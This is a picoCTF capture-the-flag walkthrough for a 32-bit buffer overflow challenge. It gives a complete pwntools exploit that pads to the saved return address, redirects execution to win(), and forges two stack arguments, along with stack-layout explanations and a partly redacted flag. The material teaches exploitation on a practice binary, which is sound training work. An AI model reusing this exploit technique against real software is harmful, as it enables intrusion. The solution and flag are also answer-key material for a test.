Description
Building on buffer overflow 1, this 32-bit challenge requires not just overwriting EIP with the address of win(), but also passing two specific magic arguments to it on the stack.
In x86 calling convention, function arguments live just above the return address on the stack. A ROP-style fake call frame lets you supply both.
Setup
Download the binary and make it executable.
Identify the buffer offset, the address of win(), and the two required magic values with objdump/Ghidra.
wget https://artifacts.picoctf.net/c/190/vuln && chmod +x vulnobjdump -d vuln | grep -A 20 '<win>'checksec --file=vulnSolution
Walk me through it- Step 1Find the offset and win() addressUse cyclic pattern to determine the offset (typically 112 bytes), then find win()'s address with objdump.bash
cyclic 200 | ./vulnbashcyclic -l <EIP_VALUE>bashobjdump -d vuln | grep '<win>'Learn more
The process is identical to buffer overflow 1: generate a cyclic pattern, crash the binary, read EIP, and compute the offset with
cyclic -l. For this challenge the buffer is larger (typically 100 bytes) so the offset to EIP is around 112 bytes.You can read the offset straight from the disassembly. The function prologue subtracts the local frame size from
esp:push ebp mov ebp, esp sub esp, 0x6c ; allocate 0x6c = 108 bytes for locals ... Offset to saved EIP: 108 (locals) + 4 (saved EBP) = 112 bytesBuffer + any padding lives within the 108-byte locals region; the 4 added bytes account for the saved EBP that
retrestores between you and the saved EIP. - Step 2Identify the required magic argumentsDecompile win() in Ghidra or read the disassembly to find the two constants it checks: 0xCAFEF00D and 0xF00DF00D.bash
objdump -d vuln | grep -A 40 '<win>'Learn more
win() boils down to:
if (arg1 == 0xCAFEF00D && arg2 == 0xF00DF00D) { print_flag(); }In the disassembly you will see
cmp [ebp+0x8], 0xcafef00dandcmp [ebp+0xc], 0xf00df00d(offsets +8 and +12 = standard x86 cdecl arg slots). The constants0xCAFEF00Dand0xF00DF00Dare source-level integer literals - they appear directly inmain/winas the comparison immediates, visible in both objdump and Ghidra.x86 cdecl calling convention: the caller pushes arguments right-to-left onto the stack before the
callinstruction. Thecallpushes the return address. The callee's prologue pushes EBP and setsebp = esp. So after the prologue:[ebp]= saved EBP,[ebp+4]= return address,[ebp+8]= arg1,[ebp+12]= arg2. - Step 3Build the fake call frame with pwntoolsThe payload: 112-byte padding + win() address + fake return address + arg1 (0xCAFEF00D) + arg2 (0xF00DF00D).python
python3 -c " from pwn import * elf = ELF('./vuln') win_addr = elf.symbols['win'] payload = b'A' * 112 # offset to EIP payload += p32(win_addr) # overwrite EIP -> win() payload += p32(0xdeadbeef) # fake return address for win() payload += p32(0xcafef00d) # arg1 payload += p32(0xf00df00d) # arg2 p = remote('saturn.picoctf.net', <PORT_FROM_INSTANCE>) p.sendlineafter(b'Please enter your string:', payload) print(p.recvall().decode()) "Learn more
Stack at the instant win() begins executing (immediately after the vuln()
retpopsp32(win)into eip and increments esp by 4):high addr +-----------------+ | 0xf00df00d | <- [esp+8] = arg2 (read by cmp [ebp+0xc]) +-----------------+ | 0xcafef00d | <- [esp+4] = arg1 (read by cmp [ebp+0x8]) +-----------------+ | 0xdeadbeef | <- [esp] = return addr (dummy) +-----------------+ ^ esp now points here as win() executes its prologue: push ebp ; mov ebp, esp ; sub esp, ... After prologue: ebp = esp_old, so: [ebp+0x4] = 0xdeadbeef (return) [ebp+0x8] = 0xcafef00d (arg1) [ebp+0xc] = 0xf00df00d (arg2) Both compares pass -> print_flag() runs.Call sequence note. When the vuln()
retjumps towin, win's prologue runs first:push ebp; mov ebp, esp; sub esp, .... Only after the prologue do[ebp+0x8]and[ebp+0xc]point at your fabricated arg1/arg2. The dummy return address sits at[ebp+0x4]; win() never returns to it (it callsprint_flagthen exits), but if it did you'd need a real address there.32-bit only. Use
p32(), neverp64(). Little-endian meansp32(0xcafef00d)writes the bytes\x0d\xf0\xfe\xca- same byte order a real caller'spushwould produce. Callingp64(0xcafef00d)on 32-bit would tack on four\x00bytes after, scrambling the layout.This construction - overwriting EIP with a function address and manually fabricating its argument stack - is the foundation of Return-Oriented Programming. Instead of a dummy return you chain another gadget; see Buffer Overflow and Binary Exploitation for CTF. On 64-bit, args go in registers (rdi, rsi, ...), so you need
pop rdi; ret-style gadgets before the call.
Flag
picoCTF{argum3nt5_4r3_gr34t_4e...}
Pad 112 bytes to EIP, then build a fake x86 call frame: win() address + dummy return + 0xCAFEF00D + 0xF00DF00D.